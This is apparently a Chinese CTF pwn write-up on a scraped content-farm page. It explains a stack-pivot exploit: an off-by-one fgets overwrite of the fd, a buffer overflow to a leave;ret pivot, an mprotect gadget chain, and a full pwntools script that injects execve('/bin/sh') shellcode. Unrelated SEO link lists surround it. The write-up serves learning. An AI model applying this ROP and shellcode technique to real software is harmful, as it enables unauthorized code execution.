当前位置: 首页 > news >正文

企业网站备案域名可以用个人的/网络营销公司招聘

企业网站备案域名可以用个人的,网络营销公司招聘,用什么做淘宝客网站好,校园二手物品交易网站怎么做话说移栈这个事很少见了,因为大家都熟了。今天这个看似没难度,但突然发现机子上的libc-2.31比要求的libc-2.34小,然后这个程序就不能运行了。实际上这个题本身跟版本没以任何关系,感觉就是卡那些系统没有升级的人。比赛当中没什么…

话说移栈这个事很少见了,因为大家都熟了。今天这个看似没难度,但突然发现机子上的libc-2.31比要求的libc-2.34小,然后这个程序就不能运行了。实际上这个题本身跟版本没以任何关系,感觉就是卡那些系统没有升级的人。比赛当中没什么人改去更新libc

完事以后把libc更新到2.35然后这个程序就能运行了。

int sub_40138F()
{char s[32]; // [rsp+0h] [rbp-40h] BYREFint fd; // [rsp+20h] [rbp-20h]int v3; // [rsp+24h] [rbp-1Ch] BYREFvoid *buf; // [rsp+38h] [rbp-8h]puts_0("/deb/null may cause some error\n");stream = fopen("/dev/null", "rb");fd = dword_404028;                            // 3if ( !stream ){puts_0("error\n");exit(1);}buf = malloc(dword_404010);puts_0("please input your filename\n");fgets(s, n, stdin);                           // n=21 写溢出,将fd改为0puts_0("Please write the data you want to discard\n");if ( read(fd, &v3, dword_404014) )            // 2c 14+buf+rbp+ret 修改buf指和bss,修改rbp指向buf+8,修改ret为leave ret移栈{sub_4012B6();                               // bss设置成只读puts_0("please input your new data\n");if ( !read(fd, buf, dword_404010) )         // 0x60 向buf里写入ropexit(1);puts_0("Thanks\n");                         // 输入7个字符,此时rdx=7return close(1);                            // 调用 write(2,got['write'],8) 泄漏,重入后}else{puts_0("no junk data?\n");puts_0("please input your new data\n");read(0, buf, dword_404010);return sub_4012E0(s, buf);}
}

程序很短,也很明了,一开始fgets(s,n,stdin); 其实s定义的是0x20,但这里n=0x21所以当输入一个长为0x20的串时会在最后加一个\0,这样就把后边的fd给覆盖掉了,原本程序是从随机数读的语句就变成从标准输入读

第二步是向v3读入,并且这里也有溢出,通过这个溢出可以将数据写到后边的buf,rbp,ret 长度刚刚好(再少4字节也能转),所以在这里覆盖buf改为要写入的位置,rbp覆盖为移栈的位置,ret覆盖为leave;ret实现移栈。

这里还有个问题,一般移栈会移到bss但这个题会把bss设置为只语。但却把程序加载起始位置设置为读写。那么移栈就只能移到这里了 0x3fe000

另外一个卡点是会文没有pop rdi;ret所有的rdi都是通过rax填充,那么就需要找个能填充rax的值,这里是这句

0x0000000000401350 : mov rax, qword ptr [rbp - 0x18] ; leave ; ret

移栈以后rbp指向的内容都是咱自己写的,所以可以在这里构造出rdi的效果

  1. rbp->bss0+0x28
  2. mov rax,[rbp-0x18];leave;ret 再次移栈将读入bss0+0x28到rax中
  3. rdi要放入的值 bss0
  4. 0x10字节没用
  5. 第二次移栈的位置,rbp没用填0
  6. 第二次的ret的值,在这里执行_mprotect去掉rax的部分(前边已经放入),这里会执行mov rdi,rax将想要放入的值传到rdi然后执行mportect(放入的rdi,rsi=x1000, rdx=7)
    1. 这里执行了一次puts_0('Thinks\n')函数,在函数里把串长度赋给了rdx所以这里rdx为7正好执行
  7. 再下一个的rbp没用,后边ret是个指针跳到后边的shellcode
  8. 在这里写shellcode

完整的程序

from pwn import *p = process('./pwn')elf = ELF('./pwn')
context(arch='amd64', log_level= 'debug')#gdb.attach(p, "b*0x40150b")
#pause()p.sendafter(b"please input your filename\n", b'A'*0x20)  # A\0 => fd = 0bss0 = 0x3fe000
leave_ret = 0x401511
pay = b'A'*0x14 + flat(bss0,bss0, leave_ret) #buf,rbp,ret
p.sendafter(b"Please write the data you want to discard\n", pay)rbp_18 = 0x0000000000401350 # mov rax, qword ptr [rbp - 0x18] ; leave ; ret
mprotect = 0x4012d0 #: mov esi,0x1000;mov rdi,rax;call _mprotect; ret 
pay = flat(bss0+0x28, rbp_18, bss0,b'/bin/sh\x00',0,  0, mprotect, 0,bss0+0x48) + asm(shellcraft.execve(bss0+0x18,0,0))
p.sendafter(b"please input your new data\n", pay)sleep(1)
p.sendline(b"exec 1>&2")
p.interactive()

http://www.lbrq.cn/news/1441225.html

相关文章:

  • 网站名字/站长工具ip地址查询域名
  • 做传单的网站/刺激广告
  • 网页网站建设的ppt/seo网站推广全程实例
  • 景乔网站建设/公司网站建设公司
  • wordpress首页显示最新文章/厦门seo优化推广
  • jsp网站建设教程/小红书seo排名帝搜软件
  • 网站会员注册系统/西安网站建设推广
  • 有哪些网站建设方案/温州seo顾问
  • 做花酒的网站/百度搜索关键词推广
  • 有什么网站可以做/千度搜索引擎
  • 重庆网站建设只选承越/seo优化排名教程百度技术
  • 便利的网站建设/流量平台排名
  • 高端建站是什么意思/百度服务中心
  • 站长之家whois/宁波seo外包哪个品牌好
  • 厦门旅游网站/百度推广案例及效果
  • 牡丹江建设厅网站/如何推广
  • 厦门做网站找谁/扬州网络推广哪家好
  • 网站板块模板/优化关键词排名哪家好
  • 做的好的外贸网站/电商运营怎么自学
  • 网站子页面如何做seo/色盲测试图
  • 温州高端网站定制/广州网站优化排名系统
  • 网站开发课题的目的与意义/百度推广销售话术
  • 昆山市建设工程交易中心网站/软文网站名称
  • 淮安市哪里有做网站/小程序开发需要多少钱
  • 如何攻击织梦做的网站/游戏推广合作
  • 新手做网站视频讲解/windows优化大师有毒吗
  • 没有后台的网站怎么做排名/长春网站公司哪家好
  • 下厨房网站学做蒸包视频/好搜搜索引擎
  • 北京营销型网站建设方案/小程序排名优化
  • 周村网站建设/百度官方电话
  • 公司项目用户密码加密方案推荐(兼顾安全、可靠与通用性)
  • Python实战教程:PDF文档自动化编辑与图表绘制全攻略
  • STM32HAL 快速入门(六):GPIO 输入之按键控制 LED
  • 猫头虎AI分享| 智谱开源了为 RL scaling 设计的 LLM post‑training 框架用于GLM-4.5强化学习训练:slime
  • 通用同步/异步收发器USART串口
  • Android 项目:画图白板APP开发(一)——曲线优化、颜色、粗细、透明度